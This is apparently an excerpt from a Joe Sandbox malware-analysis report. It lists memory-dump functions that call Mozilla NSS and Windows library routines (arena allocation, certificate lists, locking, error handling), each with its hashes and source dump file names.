Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: dbc217f0406f8ea1380edba688440e7f75ac5e6985307595a41e7bd93c74d039
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: 4131C7B6B00291ABDB019E64EC45E9E3B69AF4521DF140230ED189B791EB31E95CC7A3

Function 6CA96C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CA96C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA96CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CA96CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CBB8FE0), ref: 6CA96CFE

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 3e8bb38215471bd40053291b554964cfceabb5dfd5153727afdb4c382b8e4404
Instruction ID: 5ebfdcbe916258f1c13c15a66bd121a99f9184f6266bf30407127830b6b294c8
Opcode Fuzzy Hash: 3e8bb38215471bd40053291b554964cfceabb5dfd5153727afdb4c382b8e4404
Instruction Fuzzy Hash: B33181B5A002169FDB08CF65C892ABFBBF5EF45248B14442DE915E7710EB319946CBE0

Function 6CBA4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CBA4F5D
free.MOZGLUE(?), ref: 6CBA4F74
free.MOZGLUE(?), ref: 6CBA4F82
GetLastError.KERNEL32 ref: 6CBA4F90

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 46ef07df8e1d6954e0acc5b11771ddd9dcc925907aa74a0c8445c43cae396ee4
Instruction ID: 05b6ffaa7b99c0a4df7742918c823e332fd09ffba54d636c1106c9d517f2367b
Opcode Fuzzy Hash: 46ef07df8e1d6954e0acc5b11771ddd9dcc925907aa74a0c8445c43cae396ee4
Instruction Fuzzy Hash: F7314B75A042494BDF01CFA8DC41BDFB3B8EF49398F041225EC69A7781DB3599068A92

Function 6CB06DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CB06E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB06E57

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CB06E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CB06EAA

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 653ee00d6b6909d4c6631ed49020a8cbe2d8bda8030db725c1e40b67e74d0c48
Instruction ID: 051e956764533fd6f34cae3790feb6d3a2313546c00628705beece21e612cd26
Opcode Fuzzy Hash: 653ee00d6b6909d4c6631ed49020a8cbe2d8bda8030db725c1e40b67e74d0c48
Instruction Fuzzy Hash: B2318171710792EEDB145F34DD043AABBA4EB0135AF10063CDC99D6A90EB3069D9CB92

Function 6CAEDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CAEDDB1,?,00000000), ref: 6CAEDDF4

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CAEDDB1,?,00000000), ref: 6CAEDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CAEDDB1,?,00000000), ref: 6CAEDE17

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CAEDE80

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: a6ab4bb44c6a5f7c9a977df5a0363a68721f3e953bac445a4dcce13a9735f5b7
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: E631B1B1D01B429BE710CF16C884662B7B4BFE9318B24822AD85C87B01EB71E4E4CBC0

Function 6CADFE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CAB5ADC,?,00000000,00000001,?,?,00000000,?,6CAABA55,?,?), ref: 6CADFE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CADFE5F
PR_Unlock.NSS3(78831D74), ref: 6CADFEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CADFED6

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 1efb6e28105305e452e881048565e8dd242be775750b0aff0fa92c793f411cb4
Instruction ID: ef4d90af69687d1842e9e43501d5aba07edc239b76ff88dc4975d85951324538
Opcode Fuzzy Hash: 1efb6e28105305e452e881048565e8dd242be775750b0aff0fa92c793f411cb4
Instruction Fuzzy Hash: 01210431A00626ABD7019E74EC4479B7778FF05758F4E0128DD08A7A42EB30F9A4CBD0

Function 6CAD4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CADB60F,00000000), ref: 6CAD5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CADB60F,00000000), ref: 6CAD501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CADB60F,00000000), ref: 6CAD504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CADB60F,00000000), ref: 6CAD5064

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 4af6b5c4fca27cf634f5f9064fee09cdf6e64b45e5f34e8559e4d28b1913b22b
Instruction ID: 650a9c5ab9b8ab237d72c55b98be8bc51b3b9ecd92d7c13f7aaa0354dd518c86
Opcode Fuzzy Hash: 4af6b5c4fca27cf634f5f9064fee09cdf6e64b45e5f34e8559e4d28b1913b22b
Instruction Fuzzy Hash: EF3126B4A05A06CFDB00EF68D484A6ABBF4FF08744B158929D869D7700E730F894CBD2

Function 6CA91EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CA94C64,?,-00000004), ref: 6CA91EE2

Part of subcall function 6CAF1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CA91D97,?,?), ref: 6CAF1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CA94C64,?,-00000004), ref: 6CA91F13
DER_DecodeTimeChoice_Util.NSS3(?,6CA94CA0,?,?,?,?,?,?,00000000,00000000,?,6CA94C64,?,-00000004), ref: 6CA91F37
DER_DecodeTimeChoice_Util.NSS3(?,6CA94C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA94C64,?,-00000004), ref: 6CA91F53

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: de0769a830715d50e767f8dc4918a1be8b9558192cc03ef52beb45144a429bb4
Instruction ID: 5cb82e6f2702597bcbf9fe2cd75980218c4ab16f6856c6f27f5197a6561fbd89
Opcode Fuzzy Hash: de0769a830715d50e767f8dc4918a1be8b9558192cc03ef52beb45144a429bb4
Instruction Fuzzy Hash: 0721B3B1514259ABC700CF25CD01AABB7EDAB94698F440929EA55C3A00F331E599C7D2

Function 6CAF9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CAFA71A,FFFFFFFF,?,?), ref: 6CAF9FAB

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CAFA71A,6CAFA71A,00000000), ref: 6CAF9FD9

Part of subcall function 6CAF1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF136A
Part of subcall function 6CAF1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF137E
Part of subcall function 6CAF1340: PL_ArenaGrow.NSS3(?,6CA8F599,?,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?), ref: 6CAF13CF
Part of subcall function 6CAF1340: PR_Unlock.NSS3(?,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CAFA71A,6CAFA71A,00000000), ref: 6CAFA009
PR_SetError.NSS3(FFFFE013,00000000,6CAFA71A,6CAFA71A,00000000), ref: 6CAFA045

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: a2afbc7091c8fa1ca303c6c1fd388205f8e839f889dd4e0100a31d7269b6bceb
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 5821AAB46002069BF7109F15EC50FA6B7A9FF4535CF14C128E93987781E776D85ACB90

Function 6CB02DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CB02E08

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CB02E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CB02E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB02E95

Part of subcall function 6CAF1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CA988A4,00000000,00000000), ref: 6CAF1228
Part of subcall function 6CAF1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CAF1238
Part of subcall function 6CAF1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CA988A4,00000000,00000000), ref: 6CAF124B
Part of subcall function 6CAF1200: PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0,00000000,00000000,00000000,?,6CA988A4,00000000,00000000), ref: 6CAF125D
Part of subcall function 6CAF1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CAF126F
Part of subcall function 6CAF1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CAF1280
Part of subcall function 6CAF1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CAF128E
Part of subcall function 6CAF1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CAF129A
Part of subcall function 6CAF1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CAF12A1

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: a85e4ed7b4248596375b316110e9c132a52d01bb3a2b6cc4ebfb79dd91d35d52
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: DB21D4B1E403854BE700CF549D44BAB3B64AF9130CF110269ED185B752F7B2E69C8293

Function 6CABACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CABACC2

Part of subcall function 6CA92F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CA92F0A
Part of subcall function 6CA92F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA92F1D

Part of subcall function 6CA92AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CA90A1B,00000000), ref: 6CA92AF0
Part of subcall function 6CA92AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA92B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CABAD5E

Part of subcall function 6CAD57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CA9B41E,00000000,00000000,?,00000000,?,6CA9B41E,00000000,00000000,00000001,?), ref: 6CAD57E0
Part of subcall function 6CAD57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CAD5843

CERT_DestroyCertList.NSS3(?), ref: 6CABAD36

Part of subcall function 6CA92F50: CERT_DestroyCertificate.NSS3(?), ref: 6CA92F65
Part of subcall function 6CA92F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA92F83

free.MOZGLUE(?), ref: 6CABAD4F

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: a0f11b2af485ce57794de10b8ced68e1d685edb94f9d0fee72898a62ab7b23be
Instruction ID: 515aa3c4ec3ebcda7049f539e5560b07ee1b07a867fe34528d494e726957f12b
Opcode Fuzzy Hash: a0f11b2af485ce57794de10b8ced68e1d685edb94f9d0fee72898a62ab7b23be
Instruction Fuzzy Hash: 8621C6B1D011149BEF10DF68D9065EEB7F9EF05258F094168D81977700FB31AE99CBA1

Function 6CAE3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAE3C9E
EnterCriticalSection.KERNEL32(?), ref: 6CAE3CAE
PR_Unlock.NSS3(?), ref: 6CAE3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CAE3D02

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 3d1b5e4b0a35e8f0aaaede435652fd4a4193cdd2fbe678d0dc189f690cbaa836
Instruction ID: ff8f42987b19e36f3bd4b5ffdec3042907475d113642ca5f97e8f818f73d2b9a
Opcode Fuzzy Hash: 3d1b5e4b0a35e8f0aaaede435652fd4a4193cdd2fbe678d0dc189f690cbaa836
Instruction Fuzzy Hash: 3211D679A01214AFDB00AF28EC84A9A3778EF49368F194564ED4897722D730ED94CBE0

Function 6CAEECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CAEF0AD,6CAEF150,?,6CAEF150,?,?,?), ref: 6CAEECBA

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CAEECD1

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CAEED02

Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CAEED5A

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 6e8f2a07390de3607d13449a9efb03f78d17ab56bfad61a03f86578bea48733f
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 592184B1A007429BE700CF25D944B52B7E4BFA9348F15C215E81C87661E771E5D9C7D1

Function 6CB1EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CB07FFA,?,6CB09767,?,8B7874C0,0000A48E), ref: 6CB1EDD4
